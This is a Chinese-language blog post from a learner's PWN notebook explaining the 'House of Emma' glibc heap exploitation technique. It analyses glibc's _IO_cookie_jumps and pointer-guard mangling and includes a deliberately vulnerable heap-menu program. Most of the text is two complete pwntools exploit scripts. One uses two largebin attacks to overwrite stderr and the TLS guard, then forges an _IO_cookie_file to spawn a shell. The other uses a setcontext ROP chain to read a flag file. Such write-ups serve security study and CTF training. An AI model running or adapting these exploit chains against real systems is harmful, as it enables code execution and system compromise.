【我的 PWN 学习手札】House of Emma

发布于:2025-03-07 ⋅ 阅读:(11) ⋅ 点赞:(0)

House of Emma

参考文献

第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台

文章 - house of emma 心得体会 - 先知社区


前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert进入IO链,其二是劫持全局的_IO_file_jumps_指针。然而当遇到_IO_file_jumps_不可写的时候,House of Kiwi这种方法失效。高版本的libc取消了__malloc_hook__free_hookhook,因此在Kiwi失效的情况下,寻找其他合法的vtable表,即在__start___libc_IO_vtables - __stop___libc_IO_vtables之间的表,看能否被我们利用。

House of Emma主要就是找到了一条利用虚表的链子,通过借助_IO_cookie_jumps中的函数指针来实现类似劫持Hook从而控制程序执行流的效果。

一、源码分析

libio/iofopncook.c中定义了满足vtable合法性要求的表_IO_cookie_jumps,在__start___libc_IO_vtables - __stop___libc_IO_vtables之间

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_cookie_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};

表内的

  • _IO_cookie_read
  • _IO_cookie_write
  • _IO_cookie_seek
  • _IO_cookie_close

这几个函数的实现,更具体来说是先提取虚表上的函数指针与参数,然后调用对应函数指针来实现的:

libio/iofopncook.c

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;

  return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif

  return ((seek_cb == NULL
	   || (seek_cb (cfile->__cookie, &offset, dir)
	       == -1)
	   || offset == (off64_t) -1)
	  ? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif

  if (close_cb == NULL)
    return 0;

  return close_cb (cfile->__cookie);
}

_IO_cookie_read为例,将(FILE *)fp转换为struct _IO_cookie_file,然后从虚表中提取出cookie_read_function_t *read_cb函数指针,将__cookie成员作为其中一个参数进行调用。

/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
  struct _IO_FILE_plus __fp;
  void *__cookie;
  cookie_io_functions_t __io_functions;
};

可以看到,_IO_cookie_file的结构由来,依旧是采用类似继承的方式,通过扩展_IO_FILE_plus类型,添加__cookie__io_functions成员,即参数和虚表。在libio/bits/types/cookie_io_functions_t.h可以看到对结构体中虚表的声明:

/* The structure with the cookie function pointers.
   The tag name of this struct is _IO_cookie_io_functions_t to
   preserve historic C++ mangled names for functions taking
   cookie_io_functions_t arguments.  That name should not be used in
   new code.  */
typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;		/* Read bytes.  */
  cookie_write_function_t *write;	/* Write bytes.  */
  cookie_seek_function_t *seek;		/* Seek/tell file position.  */
  cookie_close_function_t *close;	/* Close file.  */
} cookie_io_functions_t;

对于虚表的利用,类似于hook,我们可以劫持这些虚表指针,劫持参数,实现程序执行流的劫持。

然而glibc设计者也不是吃素的,对于这些虚表指针,是经过加密保护的:

#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

由于搜出来该宏定义的位置比较多,这里通过调试来确认加解密过程。定位到_IO_cookie_write函数汇编代码,看看函数指针在调用前是如何进行解密的。

pwndbg> x/20i _IO_cookie_write 
   0x7ffff7c78800 <_IO_cookie_write>:	endbr64 
   0x7ffff7c78804 <_IO_cookie_write+4>:	push   rbp
   0x7ffff7c78805 <_IO_cookie_write+5>:	push   rbx
   0x7ffff7c78806 <_IO_cookie_write+6>:	mov    rbx,rdi
   0x7ffff7c78809 <_IO_cookie_write+9>:	sub    rsp,0x8
   0x7ffff7c7880d <_IO_cookie_write+13>:	mov    rax,QWORD PTR [rdi+0xf0]
   0x7ffff7c78814 <_IO_cookie_write+20>:	ror    rax,0x11
   0x7ffff7c78818 <_IO_cookie_write+24>:	xor    rax,QWORD PTR fs:0x30
   0x7ffff7c78821 <_IO_cookie_write+33>:	test   rax,rax
   0x7ffff7c78824 <_IO_cookie_write+36>:	je     0x7ffff7c78837 <_IO_cookie_write+55>
   0x7ffff7c78826 <_IO_cookie_write+38>:	mov    rbp,rdx
   0x7ffff7c78829 <_IO_cookie_write+41>:	mov    rdi,QWORD PTR [rdi+0xe0]
   0x7ffff7c78830 <_IO_cookie_write+48>:	call   rax
   0x7ffff7c78832 <_IO_cookie_write+50>:	cmp    rbp,rax
   0x7ffff7c78835 <_IO_cookie_write+53>:	jle    0x7ffff7c7883a <_IO_cookie_write+58>
   0x7ffff7c78837 <_IO_cookie_write+55>:	or     DWORD PTR [rbx],0x20
   0x7ffff7c7883a <_IO_cookie_write+58>:	add    rsp,0x8
   0x7ffff7c7883e <_IO_cookie_write+62>:	pop    rbx
   0x7ffff7c7883f <_IO_cookie_write+63>:	pop    rbp
   0x7ffff7c78840 <_IO_cookie_write+64>:	ret    
pwndbg> tls
tls : 0x7ffff7fbb740
pwndbg> tele 0x7ffff7fbb740+0x30
00:0000│  0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│  0x7ffff7fbb778 ◂— 0
... ↓     6 skipped
pwndbg>

可以看到加密的函数指针存在rax寄存器中,通过ror(Rotate Right)循环右移11位,然后和fs:0x30位置的数据进行xor异或,就得到了真正的函数指针。在x86-64linux中使用fs段寄存器来指向线程本地存储,也即tls。上述调试信息打印出来了用于异或的数值。

二、House of Emma利用手法

基于上述源码分析结果,我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps,调用相关被劫持函数指针从而劫持程序执行流实现利用。

  1. 泄露libcheap基址
  2. largebin attackstderr指针
  3. 第二次largebin attackfs:0x30guard
  4. 修复largebin并申请出堆块
  5. 如果打ROP,则在其他堆块上布置好ROP
  6. 在申请的堆块上伪造_IO_cookie_file类型结构体,设置好vtable指针指向_IO_cookie_jumps的合适偏移,设置好_cookie__io_functions的函数指针
  7. 通过House of Kiwi链子__malloc_assert或其他方式触发IO,触发程序流劫持

pwn.c模板为例

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                _exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

首先泄露libcheap

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00'))-0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0,0x418)

第一次largebin attack篡改stderr指针

# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0,0x408)

在这里插入图片描述

第二次largebin attack修改tls附近的guard

# hijack guard
edit(2,p64(0)*3+p64(guard-0x20))
delete(0)
add(0,0x3f8)

在这里插入图片描述

然后修复并申请出堆heap_base+0x6d0的堆块

# fix & malloc chunk
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(file_addr)*2)
add(2,0x428)

将在申请出来的堆块上布置_IO_cookie_file结构体,计算vtable

pwndbg> p &_IO_cookie_jumps.__write 
$18 = (_IO_write_t *) 0x7ffff7df3b78 <_IO_cookie_jumps+120>
pwndbg> p &_IO_cookie_jumps
$19 = (const struct _IO_jump_t *) 0x7ffff7df3b00 <_IO_cookie_jumps>
pwndbg> p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 = 0x78
pwndbg> p &_IO_file_jumps.__xsputn 
$21 = (_IO_xsputn_t *) 0x7ffff7df45b8 <__GI__IO_file_jumps+56>
pwndbg> p &_IO_file_jumps
$22 = (const struct _IO_jump_t *) 0x7ffff7df4580 <__GI__IO_file_jumps>
pwndbg> p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 = 0x38
pwndbg> p/x 0x78-0x38
$24 = 0x40

布置结构体,先确保vtable设置合理,能够触发目标函数,然后再填写_cookie字段和__io_functions字段

fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps']+0x40)  # fake vtable

edit(2,fake_file)

可以看到,程序通过__malloc_assert进入IO,执行的函数已经被我们替换到_IO_cookie_write

 ► 0x7ffff7c6f055 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]      <__SI_IO_new_file_xsputn_12>
        rdi: 0x55555555c6d0 ◂— 0
        rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
        rdx: 0
        rcx: 0
----------------------------------------------------------------------------------------------------
 ► 0x7ffff7c6f055 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]      <_IO_cookie_write>
        rdi: 0x55555555c6d0 ◂— 0
        rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
        rdx: 0

然后我们可以简单地设置函数指针为system,参数设为字符串/bin/sh\x00的指针

...
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file += p64(0)
fake_file += p64(0)

然后触发__malloc_assert

# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b __malloc_assert\n')
add(10, 0x500)

从而getshell

在这里插入图片描述

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.os


def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())


def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())


def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)


def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())


io = process("./pwn")

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)

# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)

# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)

# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)

payload_addr = heap_base +0x2a0

fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)

# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)

io.interactive()

如果要走ROP,则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客,稍微修改一下板子即可

在这里插入图片描述

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.os


def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())


def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())


def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)


def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())


io = process("./pwn")

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)

# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)

# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)

# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)

payload_addr = heap_base +0x2a0

fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
# fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(payload_addr)
fake_file += p64(0)

gadget_addr=libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'),executable=True).__next__()
success(hex(gadget_addr))

# fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))

fake_file += p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)

ROP_addr=payload_addr+0x8
flag_addr=payload_addr+0x100
frame_addr=payload_addr+0x150
buf_addr=payload_addr+0x200

ROP_chain=b''
# read(3,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(3)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['read'])
# puts(buf) write(1,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(1)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['write'])

payload=p64(0)
payload+=p64(frame_addr)
payload+=ROP_chain
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
payload=payload.ljust(0x150,b'\x00')

frame=SigreturnFrame()
# open("./flag")
frame.rdi=flag_addr
frame.rip=libc.sym['open']
frame.rsp=payload_addr+0x10
frame=bytearray(frame.__bytes__())
frame[0x20:0x20+8]=p64(libc.sym['setcontext']+61)

payload+=bytes(frame)
edit(0,payload)

# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)

io.interactive()